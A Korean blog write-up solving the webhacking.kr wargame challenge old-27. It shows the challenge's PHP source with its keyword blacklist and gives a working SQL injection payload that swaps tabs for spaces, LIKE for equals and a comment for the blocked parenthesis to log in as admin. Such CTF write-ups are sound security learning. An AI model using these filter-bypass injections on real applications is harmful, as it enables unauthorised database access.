
1. 문제 정보
- 문제 번호 : old -27
- 문제 점수 : 15점
- 문제 유형 : SQLI
2. 문제 분석
문제는 SQL Injection 문제이다. 그리고 SQL을 제출하는 폼이 있고 소스를 볼 수 있다,

소스는 아래와 같다. 제출된 no파라미터는 preg_match 정규식 필터링을 한번 거치고 쿼리로 입력된다.
아래는 필터링 목록이다
- #
- select
- \(
- (공백)
- limit
- =
- 0x
db에서 query에 no = (GET 요청 no값)형식으로 데이터를 입력한다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
3. 풀이
no 파라미터에 아래와 같이 입력하면 =를 like로 공백을 \t으로 우회할 수 있고 괄호 닫는 거는 필터링에 없어서 사용 가능하고 원래 있는 괄호는 주석 처리를 통해 우회 가능하다.
2)%09or%09id%09like%09'a%'--%09


4. 요약
- select, 공백, =, ( 등을 차단하는 정규식 필터와 id='guest' 및 괄호로 고정된 SQL 쿼리 구조를 파악 했다.
- 차단된 공백은 탭(%09)으로, 등호(=)는 like 연산자로 대체하고 여는 괄호는 주석처리해 쿼리 문법을 우회했다.
- 2) or id like 'a%' 구문을 주입하여 고정된 guest 조건을 벗어나 admin 계정을 조회하고 문제를 해결했다.
'워게임 > webhacking.kr' 카테고리의 다른 글
| [webhacking.kr] old- 19문제 (0) | 2026.01.26 |
|---|---|
| [webhacking.kr] old-25 문제 (0) | 2026.01.26 |
| [webhacking.kr] old-31 문제 (0) | 2026.01.23 |
| [webhacking.kr] old-39 문제 (0) | 2026.01.23 |
| [webhacking.kr] old-38문제 (0) | 2026.01.23 |